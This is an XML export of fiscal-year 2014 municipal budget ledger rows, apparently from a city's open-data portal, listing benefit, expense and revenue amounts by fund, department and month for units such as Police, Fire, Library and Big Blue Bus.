<row _id="10274"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8954.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8954.0</total></row>
<row _id="10275"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>160</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>160.0</total></row>
<row _id="10276"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5479.0</total></row>
<row _id="10277"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1844.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1844.0</total></row>
<row _id="10278"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6600.0</total></row>
<row _id="10279"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>13</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2071.0</total></row>
<row _id="10280"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>622.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>622.0</total></row>
<row _id="10281"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17447.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>243</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17690.0</total></row>
<row _id="10282"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>831.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>831.0</total></row>
<row _id="10283"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7742.0</july><august>0</august><september>0</september><october>0</october><november>1260.0</november><december>0</december><january>-79.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8923.0</total></row>
<row _id="10284"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>42307.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>814</december><january>158.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43279.0</total></row>
<row _id="10285"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7920.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>25.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7945.0</total></row>
<row _id="10286"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6684.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>225.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6909.0</total></row>
<row _id="10287"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>103</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1929.0</total></row>
<row _id="10288"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13904.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>42.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13946.0</total></row>
<row _id="10289"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>90973.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90973.0</total></row>
<row _id="10290"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>159755.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>159755.0</total></row>
<row _id="10291"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19100.0</total></row>
<row _id="10292"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>413894.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>413894.0</total></row>
<row _id="10293"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10390.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>708.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11098.33</total></row>
<row _id="10294"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7819.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7819.0</total></row>
<row _id="10295"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15504.0</july><august>0</august><september>0</september><october>0</october><november>5092.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20596.0</total></row>
<row _id="10296"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8783.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9158.0</total></row>
<row _id="10297"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>383.0</total></row>
<row _id="10298"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>816.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>816.0</total></row>
<row _id="10299"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>23704.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23704.0</total></row>
<row _id="10300"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2909.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2909.0</total></row>
<row _id="10301"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1520.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1520.0</total></row>
<row _id="10302"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6768.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6768.0</total></row>
<row _id="10303"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10165.0</total></row>
<row _id="10304"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>973.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>973.0</total></row>
<row _id="10305"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>449.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>7</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>456.0</total></row>
<row _id="10306"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>79.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4239.17</total></row>
<row _id="10307"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5915.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>49</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5964.0</total></row>
<row _id="10308"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>360.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="10309"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>552.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>552.0</total></row>
<row _id="10310"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>555062.0</object><object_description>CONSULTING SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="10311"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="10312"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>44126.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44126.0</total></row>
<row _id="10313"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="10314"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18907.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18907.0</total></row>
<row _id="10315"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>555014.0</object><object_description>OUTSIDE REPAIRS - OFFICE EQUIP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="10316"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522134.0</object><object_description>UTIL-WATER-PARKING AUTH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>47742.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47742.0</total></row>
<row _id="10317"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522184.0</object><object_description>BANK FEES-PARKING AUTHORITY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>700.0</total></row>
<row _id="10318"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>35129.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>35129.0</total></row>
<row _id="10319"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404090.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-1698160.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1698160.0</total></row>
<row _id="10320"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>401801.0</object><object_description>PROCEEDS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>-44800</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-44800.0</total></row>
<row _id="10321"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>246327.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>246327.0</total></row>
